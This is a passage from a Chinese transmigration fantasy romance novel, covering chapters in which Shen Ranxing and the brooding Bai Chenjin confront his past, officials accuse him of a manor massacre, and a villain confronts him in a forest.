那是不可能办到的事情。 他跪立她身后,用手压着她的腰,沈染星看不到他的脸。 混乱间,只能看到他白尘烬旁边的手臂素帛松散,露出勃然暴起的青筋,几乎失控。 他穿得太过严实,素帛未解,中衣也没有脱下,即便这时候了,她似乎也没见过他全貌。 才冒出这个念头,又被迫失神了一瞬。 床榻光线昏暗。 白尘烬靠在软枕上,姿态慵懒,衣襟略显凌乱,但大体还算完整。 沈染星身上裹着一条柔软的薄被,娇小的身子陷在他宽阔的怀抱里,被他修长有力的手臂松松地环着。 她的身形与他相比,差距极为明显,仿佛他只需稍稍用力,便能将她完全笼罩覆盖,不留一丝缝隙。 静谧中,只有彼此呼吸声交织。 沈染星微微侧过头,抬起手,反手向后,指尖轻轻抚上他棱角分明的脸颊。 “白尘烬,你能不能答应我一件事?” 环在她腰间的手臂收紧了一些,他似乎感知到了什么,没有立刻回应。 沈染星也不催促,只是耐心地等待着,指尖依旧有一下没一下地轻抚着他的下颌线。 良久,他终于开口,声音有些冷,有些哑:“何事。” “无论将来发生什么,你都不要伤害这院子里的人和妖,帮我护着他们,好吗?” 第63章 还有解释的必要吗 沈染星所指的未来发生的事, 自然是担心原书剧情不可逆转,担心那位注定与白尘烬命运交织的萧霁雪出现,担心他会回归那既定的主线。 与此相对的,萧霁雪出现前, 白尘烬充满杀戮与毁灭的。 很不幸的, 她可能是萧霁雪出现前的炮灰。 她想要规避的, 是他双手染上他们的血,也是国师势力可能随之而来的疯狂报复。 然而,她这番话听在白尘烬耳中, 却完全变了味道。 她这未雨绸缪的托付, 这将他排除在她的世界之外的安排, 让他刚刚被她温热起来的心脏,瞬间又沉入了冰窖。 前些日子,他好不容易才说服自己,她不会轻易离开。 可她的言行,却不可避免地, 愈发像记忆中师父所深爱的那个女人, 最终离开了的那个女人。 这惊人的相似性, 让他感受到了背叛。 为了避免重蹈师父的覆辙, 他或许不该让她得逞,或许该做出与师父当年截然相反的选择。 他还未开口,沈染星便察觉到他周身好不容易回升的温度,正在急速下降。 她坐直了身子,将滑落的薄被裹紧了些, “你考虑好了吗?” 白尘烬的视线落在她脸上,但脸色比之前更冷漠了。 “你有什么致命的把柄在他们手上,”他声音冷淡, “要如此忠心于他们?” 这话问得没头没尾,莫名其妙,她一个东家,关心自己员工的安危,希望庇护自己一手建立起来的地方,这不是再正常不过的事情吗,哪里谈得上“忠心”二字。 若真要说把柄,她最大的把柄就是这这一窝窝的妖,一个个的人,此刻不正捏在他这尊煞神的手里吗? 好一个贼喊捉贼。 她选择性将他这混账话抛在脑后,决定强行拉回自己的话题:“我知道,他们对你来说或许……不那么重要,甚至可能……有点碍事。 但是对我来说,他们很重要。你明白吗?这大半年来,我没日没夜地操心、奔波,才一点点将这里建立起来,这里是完完全全属于我的,是我的地方,是我的心血,对我而言非常重要……” “可是,”白尘烬冷冷地打断她,“对我而言,还是不重要。” 怎么会有人!那么简单!就精准地踩到别人的雷点啊! 沈染星只觉得一股火气直冲头顶,睡也睡了,哄也哄了,软硬兼施,他居然还是这样一副油盐不进、冷漠到底的模样! 她深吸一口气,拼命在心里告诫自己:冷静,沈染星,他吃软不吃硬,不吃硬…… 但哪怕这么警告自己,她开口的第一句话还是:“那你答不答应!” 话一出口她就后悔了,连忙揉了揉额角,平和了一下语气:“这些日子,其实你们也有相处的,阿盈,多磊,还有院里那些小妖们……难道你对他们,就真的没有产生一点点感情吗,就忍心……” 白尘烬似是不愿她继续说下去,径直下床就走。 “先别走!” 眼看他要走,沈染星心头一阵焦急。 谁能叫醒装睡的人,谁又能唤回故意装聋的人,看出他打定主意不理睬她的请求,形势比人强,她不得不放软姿态,大声喊住他:“你可以不费心保护他们,但是……你能不能答应我,至少不要亲手伤害他们,可以吗?” 既然无法要求他主动庇护,那么退而求其次,只求他冷眼旁观,不要成为加害者,总可以了吧。 至于国师那边的威胁……只能走一步看一步,或许等萧霁雪出现后,可以尝试寻求她的庇护。 “白尘烬!” 沈染星很少用这样重的语气叫他名字,白尘烬脚步果然一顿。 他侧头,看向她。 沈染星撑着自己还有些酸软无力的腿,扶着一旁的床沿,有些踉跄地站了起来,与他对视。 恰在此时,一阵深秋的寒风寻隙破窗而入,穿过她与他之间,带来阵阵寒意,冷意侵入他灰蓝的眼瞳,更让他添了几分寒气。 为了留住他,也为了达成那最低限度的目的,她咬了咬牙,再次抬高声音:“若是以后你想离开的话,我不会有任何异议,更不会阻止你……” 窗外夕阳透过窗格洒入,落在他脸上,形成一道亮眼的白斑,很亮,几乎要刺伤她的眼睛。 说出这句话,意味着她连最后一点试图挽留他,阻止他离开的底气,都亲手放弃了。 她补充道:“所以万一真有那一天,我们好聚好散,可好?” 白尘烬看着她,就那么直勾勾的看着她,眼神深不见底,也丝毫没有其他的动作。 就在沈染星以为他不会再回应,心一点点沉下去的时候,她看到他微微启唇,声音粗粝沙哑。 “好……” “沈染星,你成功了。” 白尘烬冷着张脸离开了。 沈染星其实有些疑惑,白尘烬说她成功了,她成功什么了?成功逼他做出了承诺? 可他也没给承诺啊。 沈染星还想找他问清楚,还未找到他人,却收到了一封信。 萧霁雪的信。 信封上的字迹熟悉,清隽中带着一丝飒爽的。 捏着那薄薄的信封,沈染星的心情复杂难言。 曾几何时,收到这位素未谋面却心向往之的萧大小姐的来信,是她枯燥生活中难得的亮色。 她是真心喜欢,甚至崇拜着萧霁雪的,喜欢她坚定,和善与智慧,可一旦意识到这样完美的人,未来极有可能成为自己竞争者,那份喜欢便化作了武器,随时可以将她击得粉碎。 她没看那封信,直接将信收了起来。 可心头那点不甘与探究,如同猫爪般反复挠抓,挣扎了好半晌,她还是没能忍住,重新将信翻出。 信中的内容与她预想的相差无几。 萧霁雪在信中表达了收到回信的欣喜,并因此更加坚定了登门拜访,当面交流的决心。 沈染星平静地看完了每一个字,脸上没有任何表情。 看完后,她将信塞回书架最底层,动作做到一半又顿住,转而拉开一个带锁的抽屉,将信放入最里面,然后“咔哒”一声落了锁。 做完这一切,她才惊觉自己的指尖在微微发抖。 她是没有给萧霁雪回过信的。 那么,到底是谁,给萧霁雪回了信? 记忆猛地被拉扯回之前,上一封萧霁雪的来信……是被白尘烬拿走了。 翌日,是乔阿盈与石多磊大婚的日子。 院子里张灯结彩,红绸遍布。 两人皆无长辈在侧,沈染星这个年轻的东家便责无旁贷地充当了高堂的角色。 一场繁复而庄重的传统仪式下来,她既要稳住场面,又要应对各方宾客,精神高度紧张,待到礼成,已是累极。 热热闹闹地闹完洞房,宾客们逐渐散去。 方才还人声鼎沸的院落渐渐安静下来,只剩下一些勤快的雇员在默默收拾着满地的瓜果皮壳和狼藉的杯盘。 石灯在暮色中散发出昏黄温暖的光,高悬的红绸在晚风中轻轻飘动,热闹过后的冷寂感悄然而至。 沈染星独自坐在廊下的石凳上,看着眼前忙碌而宁静的景象。 这时,纪明月和雪拂相伴走过。 雪拂依旧一袭白衣,凑在纪明月身边,甜甜腻腻的:“娘子好生厉害,只这一场婚宴酒席,便不动声色地谈下了三桩新单子,真是旺夫……啊不,旺院。” 纪明月瞥了他一眼:“少给我贫嘴。” “这哪里是贫嘴,分明是发自肺腑的钦佩……”雪拂嬉皮笑脸,目光一转,看到了独坐的沈染星,随口问道,“东家,我方才还看到白兄在你身边的,怎么不见人了?” 纪明月闻言,立刻接口:“你那么喜欢你的白兄,自己去找他便好了。” 说着,她便自然地伸出手,拉过沈染星的手:“染星,忙了一天也累了,走吧,厢房已经准备好了,我们去休息。” 沈染星正觉疲惫,刚要点头答应,斜刺里伸出一只骨节分明,先一步握住了她的手腕。 她抬头,看到了白尘烬侧脸。 他不知何时出现的,就站在她身侧,难得穿上了一身宽袍,腰带勒出一截劲腰。 廊下灯笼的光线昏暗,显得他那张俊美无俦的脸愈发冷峻逼人,眉眼冷淡,看着纪明月。 沈染星心头一跳,轻轻挣脱了纪明月的手,转而反手握住了白尘烬微凉的手指:“你怎么还在这里,我以为你早就去房里休息了。” 一旁,雪拂眼疾手快,不动声色地牵过纪明月僵在半空的手,将她往自己身边带了带。 白尘烬的目光这才从纪明月身上收回,落在沈染星脸上,淡淡道:“我是来寻你的。” 沈染星一听,心中微动。 她刚好也想问问,昨晚他所谓的成功,到底是什么意思。 此刻他主动找来,倒是省了她一番功夫。 夜色如墨,星河低垂。 屋顶上,瓦片还残留着白日阳光的一丝余温,但晚秋的夜风已然寒意刺骨。 两人并排坐在屋脊上,远处是零星未熄的灯火。白尘烬侧脸线条在星辉下显得柔和了些许,他沉默了片刻,终于开口:“我想和你解释……” 他的话起了个头,却没能继续下去,目光落在她手臂上,一顿。 他脸色沉了下来,眼中阴郁,沈染星再次觉得他莫名其妙,她什么话都没说,他怎么又不高兴了…… 一阵更强的冷风恰在此时吹而过,白日的衣裳于此时略显单薄,激得她打了个寒颤,忍不住又搓了搓手臂。 她这上屋顶看星星这个提议真是个馊主意! 本以为会很浪漫,结果只剩下了浪…… 就在她内心疯狂吐槽之际,一股带着体温的暖意自身后笼罩下来。 白尘烬脱下外袍,披在了她身上,还仔细地将衣襟往她身前拢了拢,裹得严严实实。 沈染星更加迷惑了,抬头看他。 难道他刚才阴郁的眼神,就只是因为看到她觉得冷?可……只是冷一下,也不至于吧。 “其实也不是很冷。”她嘴上是这么说,身体却非常诚实地将外袍裹紧。 白尘烬没有拆穿她的口是心非,只是低低地“嗯”了一声。 他自然不仅仅是因为她感到寒冷而阴郁。 若是往常,她觉得冷了,定会自然而然地靠过来,缩进他怀里汲取温暖。 可刚刚,她宁愿自己抱着手臂搓揉,忍受寒意,也要与他保持着那一拳之隔的距离。这种变化细微,很难发现,可他就是一瞬便发现了,甚至觉得无法忍受。 见他似乎平静下来,沈染星将话题拉回正轨:“你要解释什么?” “我想和你解释,我不想和你成婚的原因。” 沈染星闻言一怔,吃惊地转头,看向他被星月照亮的侧脸。 心是不可控的。 喜欢或是不喜欢,想或是不想,难道不是最直接的反应吗? 还有单独拉出来,如此郑重其事地解释的必要吗? 第64章 一日不见,便出事了…… “我幼年时, 在师父身边长大。” 夜风中,白尘烬的声音平静而遥远。 沈染星愣愣地看着他。 这她是知道的。 原书中对他晦暗不明的身世,有过一笔带过的描述,因他的力量难控, 易犯杀戒, 他自幼便被母亲送往师父身边教养。 后来师父去世, 他便独自一人在世间闯荡,所过之处,腥风血雨, 累累罪行罄竹难书, 简直如同行走的人间阎王, 令诸地方不敢收容。 直到他遇见了萧霁雪,才仿佛找到了锚点,改邪归正,最后那一场大仗结束后,选择了归隐。 “为了压制我体内不受控制的力量, 师父带着我四处游历, 寻找解决之法。”白尘烬道, “效果起初不错, 直到出现了一个女子。” 听到这里,沈染星敏锐地嗅到了不同寻常的气息,耳朵不自觉地竖了起来,连裹紧外袍的动作都停滞了。 接下来,白尘烬的叙述, 让她越听越是心惊。 原来他口中的那个女子,不是萧霁雪,而是另一个人, 是刻意接近他们师徒的。 这本身还不算稀奇,可她的言行举止越来越古怪,引起了师徒二人的怀疑。 最终,她坦白了,说她并非此世之人,来自一个外面的世界,并且,她在书中知晓了关于这个世界的许多事情,包括他们师徒的未来。 她知道白尘烬师父埋藏心底,从未对人言说的情愫,知道他曾默默爱慕白尘烬的母亲……她还知道许多隐秘的、不该被外人知晓的过往。 甚至……她预言白尘烬未来会屠戮无数生灵,双手沾满血腥。 听到这里,沈染星忍不住插嘴问道:“她认识萧霁雪吗?” 听着有些不对劲,那个女人看的,似乎是她所看那本书的前传,是更早的,关于父辈恩怨与权力争夺的版本。 如果她认识萧霁雪,便会知道白尘烬最终会站在正义的一方,起码不像国师那般,不仅不在意妖命,也视人命如草芥。 想到这里,沈染星有些感叹。白尘烬好好一个男二,居然要靠书中的那毫无人性的大反派衬托…… 也是独一份。 白尘烬没有看她,只是轻轻摇了摇头:“她说……她想教育我,引导我,避免我误入歧途。” 语气里听不出什么情绪。 但从他如今的境况来看,她显然是失败了,或者说,带来了更糟糕的后果。 她利用先知先觉的信息,一步步靠近并掌控了白尘烬的师父。 利用情感作为武器,半是诱惑半是强迫,使得那师父为她做出了许多违背本心的事情,杀妖取丹,夺人性命…… 甚至她的最终目标,是年幼的白尘烬。 她声称自己失败了,断言白尘烬血液里便带了原罪,根本不可能教好。 师父自然不愿放弃自己的徒弟,有师父的庇护,那女人的计划无法得逞,双方关系降至冰点。 于是那女人离开了。 “某日,她又回来了。”白尘烬冷冷地嘲讽,“并且火速与师父成婚。” 大婚之日,宾客盈门,一派喜庆祥和。 然而,这不过是个幌子,她利用这场婚礼降低师徒二人的戒心,引来了敌人,意图趁乱将白尘烬彻底诛杀。 沈染星听得目瞪口呆。 难怪……她最初接近白尘烬时,他戒备心如此之重,她解释起来是那么的困难…… 他妈的……原来是前人把路给走窄了啊! “所以你说不想和我成婚,是因为担心我会像那个女人一样,在大婚之日趁乱杀你?”沈染星问他。 白尘烬转过头,目光沉沉地落在她脸上,然后,点了点头。 沈染星:…… 空气仿佛在这一刻凝固了。 两人在星空下的屋顶上,陷入了长久的沉默。 冷风不识趣,卷起玄色外袍的一角,白尘烬伸出手,默不作声,再次将那被风吹开的衣角仔细拢好。 沈染星任由他动作,然后开口:“你知道我是谁吗?” 白尘烬身体微微一顿,抬头看她。 沈染星触到他的目光,一时间竟心慌起来了。 似乎他们之间的关系,只能建立在那粉饰的太平之上,一旦这层窗户纸被捅破,露出底下血淋淋的猜忌与不堪的过往,就再也回不去了。 多大仇多大怨呐。 白尘烬觉得她能杀他,沈染星回忆起自己刚穿来那日的场景,自己浑身是血,而白尘烬中了剧毒,在池塘里沉浮…… 这具身体的原主或许真的曾与他生死相搏,原身当时便被拧断了脊椎,也差点杀了白尘烬了…… 沈染星看着白尘烬,嘴角动了动,解释的话却说不出口。 怎么说怎么像勾引他师父的那个女人所狡辩的话…… 妈的……这哪里是把路走窄了。 这是直接用钢筋混凝土,把所有的路都给封死了! 认真想想,连前些日子她刻意撩拨他,亲近他,也像是复刻那个女人的行径。 甚至连利用亲近关系,让他帮忙做事,也和那个女人利用他师父如出一辙。 沈染星只觉得脑壳一阵阵发胀,太阳穴突突直跳。 那个女人到底是什么冤孽啊! 一阵沉默过后,白尘烬还是回答了她的问题:“知道。” 所以他是一直知道她的身份的…… 沈染星内心挣扎起来,继续解释自己失忆?那更像那个女人后期的说辞。 不解释?又仿佛是默认了自己与那个女人怀着同样的祸心。 纠结了半晌,一个更深的疑问冒了出来,她问道:“既然你认为我对你不轨,居心叵测,那为什么你还要留在我身边?” 为什么不干脆离开,或者像解决其他威胁一样,彻底清除她? “因为你成功了。”白尘烬勾了勾唇角,分辨不真笑,还是苦笑。 沈染星意识到了什么,又听见他说道:“我答应你……” 她的心怦怦地跳,怦怦地跳…… 他说:“……帮你护着那个院子。” 不知为何,她一时间竟有些心疼起他来。 他分明还是不相信她的。 在他的认知里,她是一个随时可能对他拔刀相向、居心叵测的危险存在。可他依旧选择留在她身边,甚至在她一次次的试探和利用中,将自己的底线一退再退,保护她,为她扫清障碍,如今更是承诺庇护她所在意的一切。 这一刻,沈染星觉得,无论如何,她必须说出自己最真实的想法,哪怕这听起来依旧像谎言。 “白尘烬,”她看着他,“你听我说。其实我真的,从来没有想过要害你。无论以前这具身体做过什么,那都和我无关了。我和你说实话,最初我确实想过利用你,利用你的力量在这里站稳脚跟,但是……” 白尘烬静静地听着,目光缓缓垂了下去。 这话与记忆中那个女人对他师父说过的,何其相似。 即便明知其真实性存疑,听到这样的话,心底某个角落还是会变得柔软。他大概有些明白,为什么当年师父分明那般痛苦挣扎,却最终还是一次次答应了那个女人的要求。 就在他心绪翻腾之际,脸上突然传来一股不小的力道。 “啪”地一下,沈染星双手捧住了他的脸,力道不小,将他的脸颊挤压得变形。 白尘烬一时没反应过来,竟也任由她去了。 沈染星逼近他,一双杏眸在星光下亮得惊人:“我和她,不一样,知道了吗?” 白尘烬看着她近在咫尺的脸庞,眼神笃定,神色认真。 他眨了几下眼睛,随后点了点头- 萧霁雪没来拜访,她那边突发意外,只来了一封信说明缘由。 妖院伤员逐渐康复,修缮工作已完成,受萧霁雪势力的影响,委托不仅恢复了先前的水平,甚至开始疯狂增长。 几个月事件里,沈染星又琢磨着开了几家分院。 日常似乎恢复了往昔的节奏,可又似乎有些不同。 沈染星琢磨了一些时日,终于发现了那不同之处的来源——萧霁雪。 萧大小姐其名声与事迹,如同春日里无孔不入的柳絮,悄无声息地渗透进了共生苑的每个角落。 无论是负责洒扫的普通雇员,还是那些小妖,茶余饭后,总能听到他们兴致勃勃地谈论着这位朱雀司的天才。 更微妙的是,这种谈论中,总是不自觉地夹杂着与沈染星的比较。 这日午后,阳光正好。 沈染星穿过连接前后院的回廊,准备去库房清点新到的妖。经过一处假山时,两个雇员背对着她,一边擦拭栏杆,一边闲聊。 “……要我说,还是萧大家那边规矩严明,赏罚分明,哪像咱们这儿……” 另一个声音附和:“就是!东家人是和气,可也太……抠搜了点,听说萧大家,手下人完成差事,赏钱丰厚得很。” “何止是抠门,简直是……不思进取,守着这么个摊子,看看萧大家,这才多久,名声都快盖过咱们了,后来者居上啊。” “管理也太松散了……” “是啊,比起萧大家治下的井井有条,咱们这儿确实有些……” 沈染星的脚步在假山后顿住,脸上没什么表情,轻轻咳嗽了一声。 那两个正聊得投入的雇员猛地噤声,慌乱地转过身,看到是她,结结巴巴地行礼:“东、东家!” “活干完了?”沈染星道。 “还没……” “那还不快去?”她抬了抬下巴,示意他们继续。 两人如蒙大赦,赶紧抓起抹布,卖力地擦拭起来,再不敢多言一句。 沈染星抿了抿唇,迈步离开。 刚检查完新妖,乔阿盈便脚步匆匆地寻了过来:“东家,不好了!” …… 沈染星扶额,又是这开场白! “前厅来了几个人,看打扮和气度,像是官家的人,指名要见您,要谈一下白大哥的事,感觉……来者不善。” 沈染星心头一凛,白尘烬昨晚彻夜未归,今日也不见人,便有官家的人找上门来了…… 一定是出事了。 她不敢耽搁,连忙整理了一下衣襟,快步走向前厅。 第65章 一贯如此,抛弃他,背叛…… 一进到厅里, 沈染星便察觉到气氛不对。 这些人那气势,像是上门来问罪的。 她压下心中的惊疑,面上维持着镇定,侧身身后跟着的乔阿盈吩咐道:“阿盈, 你先去忙吧。” “是, 东家。”乔阿盈应声退下。 沈染星边招呼着边走上前, 趁着这个间隙,迅速打量了他们一番。 来着一共三人,他们的衣着并非本地衙役的制式, 料子更为考究, 剪裁合体, 腰间佩刀的样式也更为精良,不怒自威。 一看,便知他们来自更高层面的权力机构,绝非这个偏镇所能驱使。 沈染星道:“请问几位官爷,上门寻我们可是有什么事?” 茶香袅袅中, 为首那名中年男子面容严肃, 目光锐利, 并未碰那茶杯。 他一开口, 便传来一股无形的压迫感:“沈东家,白尘烬如今在何处?” 沈染星心尖一颤,果然是为了他而来,而且来者极度不善。 她稳住呼吸,没有直面回答, 只是问道:“你们找他有事吗?” “你可知他犯了何事?” 犯事? 想起白尘烬彻夜未归,沈染星的心脏猛地一缩,心慌席卷而来。 他该不会是出了什么事吧, 国师的势力找上他了?还是暗中一直追杀他的组织找上门来了? 想到这里,沈染星恍然觉得国师的势力与那个暗杀组织……似乎有些界限不清。 她强迫自己冷静,不能自乱阵脚。 抬起眼,脸上适当地露出几分恰到好处的困惑与担忧:“不知道啊,官爷,他犯了什么事情,会不会有什么误会?” 那中年男子闻言,嘴角勾起一抹似笑非笑的弧度,带着几分嘲讽:“白尘烬的名声,在这方圆百里,甚至更远的地方,你难道从未听说过?” 沈染星自然是听过的,那些关于他煞神、阎王的恐怖传闻。 但她此刻决定继续扮演一个被蒙在鼓里的角色,摇了摇头:“官爷明鉴,我平日里只顾着打理这妖院的大小事务,确实没有听闻过什么特别的名声。” 中年男子冷哼一声:“让这样一个来历不明,声名狼藉的人留在你的妖院里,你也不先打听清楚他的底细?未免太过糊涂。” 沈染星深吸一口气,按照早已想好的说辞应对:“官爷,他的来历,我是知道的,我和他其实都曾是伏妖居的幸存者。” 这是事实,伏妖居死的死,伤的伤,也就剩下命大的寥寥十几人,他们可以去查。 使劲查。 可中年男子静静看着她,没有质疑。 沈染星接着道:“自从伏妖居遭难覆灭后,我和他一同来到此处,开了这间共生苑,他也一直在此帮忙,说起来,也算是共过患难的。” “伏妖居之前呢?”中年男子没有被她带偏,紧追不舍,“在那之前,他是什么人?来自何处?师承何人?” 沈染星垂下眼帘,避开他过于锐利的视线,声音放低:“再之前……我就真的不知道了,当时伏妖居大乱,能活下来已经不容易,谁还那么八婆,有心思去刨根问底,探究旁人的过往?” 没错,八婆说得就是…… 那中年男子皱眉,似乎听出来了,可她看起来不似故意的。 这点小事无法计较,他吃下这个哑巴亏,身体向后靠了靠,冷冷道:“沈东家,我实话告诉你,白尘烬此人,历来罪行累累,杀人越货,手段残忍,所过之处,往往鸡犬不留! 虽说眼下大多还只是缺乏真凭实据的传言,但其凶名早已远播,几乎无人敢收留他。如今你不清不楚,糊里糊涂就将这样一个人留在身边,如今他犯下大事,你作为收留者,作为这妖院之主,自然也要负起连带责任!” 沈染星惊讶地看向眼前这位中年男子,他相貌端正,剑眉星目,不怒自威,身后两名随从带刀而立。 或许他们是皇城来的人,甚至可能和国师有关。 与她说这一番话,旨在在离间自己和白尘烬? 她强忍着内心的惊涛骇浪:“连带责任?官爷,这到底是怎么回事,究竟是出了什么事?” 那中年男子沉声问道:“你可知天瑶庄?” 沈染星心头猛地一跳,一种极其不祥的预感如同乌云般笼罩下来,她点了点头:“知道,我……与天瑶庄的少东家,李瑶光,曾有过一些往来。” “他紧紧盯着沈染星,一字一句:“天瑶庄位于城西三十里外的一处别庄,三日前深夜,被人屠戮殆尽,庄内上下二百余口,无一生还。而天瑶庄的少东家,李瑶光,”中年男子顿了顿,语气森然,“也殒命当场,死状……极其惨烈。” “什么?!”沈染星失声惊呼,差点从椅子上站了起来,脸上血色瞬间褪尽。 李瑶光……死了? 天瑶庄一处别庄被屠? 二百余口?! 这个消息太过震撼,她脑海中瞬间一片空白,几乎无法思考。 那个不久前还在她面前气焰嚣张、试图强买她妖院的李瑶光,竟然就这么……死了?还是以如此惨烈的方式? 而官差此刻找上门来,提及白尘烬的过往罪行,其指向……不言而喻。 这恰恰与书中白尘烬为萧霁雪屠戮一庄人的剧情……对上了。 有种剧情渐渐拉回正轨的无力感与荒诞感,可又有种处处不对的诡异感。 林深如墨,参天古木的树冠交织,将绝大部分阳光隔绝在外,只在厚厚的落叶层上投下零星斑驳的光斑。 空气中弥漫着泥土腐殖质的潮湿气息和若有若无的血腥味,气氛压抑得令人窒息。 白尘烬立于林间一小片空地的中央,衣衫多处破损,被暗红近黑的血液浸透,紧贴在他精悍的身躯上,更添几分肃杀。 他手中握着一柄长剑,剑身寒光流转,血珠正顺着剑锋缓缓滴落,在他脚边积起一小滩暗红。 灰蓝色眼眸冰冷、锐利,扫视着周围将他层层包围的黑衣人。 这些人眼神麻木,气息阴冷,显然都是经过严格训练的死士。 人群缓缓向两侧分开,让出一条通道。 一名老者身着华丽锦袍,面容儒雅,眼神精明,缓步从人群外走进来。 云阔脸上挂着慈祥长者的笑容,目光落在白尘烬身上,故人重逢般熟稔:“许久不见了,白公子。” 他的视线扫过白尘烬浑身的血污,笑容更深了些,“想不到,你竟能从那般严密的看守中逃出来,真是……令人刮目相看。” 白尘烬没有回应,只是周身肌肉紧绷,握剑的手腕动了动。 云阔对他的敌意视若无睹,气定神闲,甚至还好整以暇地整理了一下自己一尘不染的华丽袖口。 这才慢悠悠地开口:“你家那只鹰妖,速度确实不错,忠心也可嘉,它帮我带了封信去京城。算算时辰,京城那边派来的人,此刻应该已经到了你那共生苑,或许……正在和那位心地善良,最是怜惜弱小的沈东家,好好谈着呢。” 话音未落,白尘烬眼中寒光爆射,身形猛地前冲,手中长剑化作一道凄冷的寒芒,直刺云阔心口。 他身形刚动,侧面便有两道黑影如同鬼魅般闪现,两柄短刃交叉格挡。 “铮”的一声脆响,火星四溅,硬生生拦下了他的一击。 强大的反震力让白尘烬后退半步,持剑的手臂微微发麻。 云阔甚至连眼皮都没眨一下,循循善诱:“还在苦苦压制的力量吗?何必如此辛苦,这力量本就属于你,是你血脉的一部分。 只要你愿意释放它,挣脱这具凡俗躯壳的束缚,眼前这点围堵,于你而言,不过是土鸡瓦狗,弹指可破。到那时,你想回去找你的沈东家,谁能拦你?” 白尘烬闻言,非但没有被激怒失控,反而缓缓收回了剑势。 云阔有些意外。 看着白尘烬不再试图攻击,只是静静地站在那里,染血的面容上看不出什么表情,灰蓝色的眼眸平静无波,看着自己仿佛在看着一个跳梁小丑。 云阔脸上的笑容僵硬了一瞬,眼底闪过一丝恼怒。 白尘烬变了。 在困兽环境下,从前的他更容易被激怒,更接近野兽的状态,此刻的他,明显变得更加沉稳,更加难以捉摸。 先前他们费尽心机在他身上种下的秘药,能潜移默化放大他负面情绪和血脉躁动,效果似乎在逐渐减弱、失效。 那药性极其隐秘,本意是让他更容易陷入狂怒,失控暴走。 可自从那个沈染星出现后,他的情绪竟奇异地趋于平稳了。 这对他们的计划而言,绝非好事! 若是让冯维翰那边察觉到白尘烬情绪可控,不再是个随时会爆炸的火药桶,进而上报京城…… 让白尘烬在这个关键时刻回到京城,以他那双眼睛,国师的真实身份和谋划极有可能暴露。 如今国师权势尚未完全稳固,又被那个萧霁雪步步紧逼,处境已然不妙。 白尘烬,必须尽快处理掉,作为国师的亲信的他,只能亲自出马。 强压下心中的焦躁,云阔重整旗鼓,换上了攻心之策。 他看着白尘烬:“听说……那位沈东家心地最是善良纯善,连一只受伤的小妖都不忍弃之。若是让她知道你那些血腥不堪的过往,知道你手上早已沾满了无数无辜者的鲜血,你猜……她会如何作想?还会允许你待在她身边吗?” 白尘烬终于有了反应,抬起低垂的眼睫:“你以为她不知道?” 云阔被这话噎了一下。 静静看着白尘烬半晌,才发现他并非说谎。 那个女人……居然知道白尘烬的底细? 知道他那如同修罗般的过去,还愿意留他在身边?这怎么可能? 不过,云阔很快又笑了起来:“就算她不在意这些陈年旧事,可若是……天瑶庄上下二百余口的性命,这笔血债,硬生生扣在你头上呢?那庄子里,她认识的人可不少吧? 再者,当她意识到,未来你依旧会失控,会杀更多的人,而她,根本无力控制你,无法阻止你,待在你身边,就意味着永无宁日,所识之人随时陷入危险,永远被腥风血雨环绕……” 云阔刻意放缓了语速:“你说,她会不会和之前那些畏惧你,抛弃你的人一样,最终无法忍受而选择离开你?” 白尘烬周身的气息一重,胸膛微微起伏,那强行压制的暴戾气息似乎有了一丝不稳的迹象。 云阔满意地看着他这细微的变化,知道自己的话起了作用。 宫中势力看着,他们不能明着杀了白尘烬,却可以使计让他深陷桩桩惨案,众叛亲离。 如今他再冷静又如何,直接把人杀了,再扣到他头上也是一样的效果。 冯维翰那一干人饶是再护着他,也知道他曾经失控的模样,不会深究,也不会发现其中关窍。 只要白尘烬永远这般见不得人,拿不出手,便不可能被准许回京。 “啊?”沈染星猛地瞪大了眼睛,声音都拔高了几分,“官爷,你是说,白尘烬他竟然是这种人?这太危险了……” 她一边说着,一边用手捂住了嘴,仿佛听到了什么极其骇人听闻的事情,恨不得立刻与那个名字划清界限。 那中年男子原本紧绷的神经和准备好的连番威胁说辞,瞬间卡在了喉咙里。 他预想中对方或会强硬维护,或会狡辩抵赖,甚至可能情绪激动……却万万没料到,竟是这般毫不迟疑的撇清关系,甚至流露出急于摆脱的恐惧。 这反应未免太过顺利。 根据云阔大人传来的消息,此女乃是计划中的一大隐患,不仅多次破坏他们的行动,自身似乎也有些古怪,竟能让各方势力明里暗里对她多有回护。 他一直以为,能让这么多人心甘情愿庇护的,该是何等厉害或者有魅力的角色。 想不到,亲眼所见,竟只是一个听闻危险便吓得脸色发白,急于自保的普通女子。 甚至可以说是贪生怕死,毫无担当。 想到此处,中年男子眼中不禁流露出一丝鄙夷,居高临下:“正是如此,若他侥幸脱身,返回此处,希望沈东家你能深明大义,配合官府,设法稳住他,并设下陷阱,助我等将其擒拿归案,以免他继续为祸世间。” 沈染星闻言,沉重点头:“官爷放心!一定配合!” 纪明月才脚步匆匆地从外面赶来,便听到了沈染星的这一句话。 她面色一贯冷冷的,如今也不由得有些诧异。 她静静地站在门外,没有立刻进来。 饶是她自认为心冷如铁,对白尘烬没什么情感,也不由得有些唏嘘。 数不清多少次了,他身边的人抛弃他,背叛他,出卖他,如今,纵使是沈染星……也不会是一个例外吗? 第66章 他很危险,你小心一些…… 厅内的谈话声渐息, 脚步声朝着门口而来。 纪明月向后一退,悄无声息,如一道轻烟,隐入了廊柱后的转角处。 她屏住呼吸, 看着沈染星客客气气地送出那三名官差, 一路寒暄。 这一场面在纪明月看来, 格外刺眼。 她远远地跟着,一直目送沈染星将那三人送出大门,看着大门缓缓合上, 隔绝了外界的视线, 才站在沈染星身后。 沈染星才转过身, 猛地发现纪明月,吓了一大跳。 她捂着砰砰乱跳的心口,脸上浮现一个嗔怪的表情,快步走了过来:“明月,你怎么在这里?不是说后天才回来吗?” 纪明月看着她走近, 脸上还是那副万年不变的冰封表情, 没有回答她的问题。 的确, 原计划是后日才返回。 但她收到了紧急传讯, 得知今日会有国师直接派自京城的人前来。她担心沈染星应付不来,会吃亏,甚至可能暴露什么,这才匆匆提前赶回。 如今看来……何止是应付得来? 简直是游刃有余,甚至……表现得过于配合了。 这反而让纪明月心中升起一股郁结之感, 像是被什么东西堵住了,闷得发慌。 “你怎么了?”沈染星走近了,才察觉到纪明月脸色有些异样的苍白, 不像平日只是单纯的冰冷,反而透着一股虚弱感,“你脸色有些差,是不是路上累着了?” 纪明月缓缓摇了摇头,避开了关于自己提前返回的原因,声音清冷:“你方才送出去的那些……是什么人?” 她需要亲耳确认。 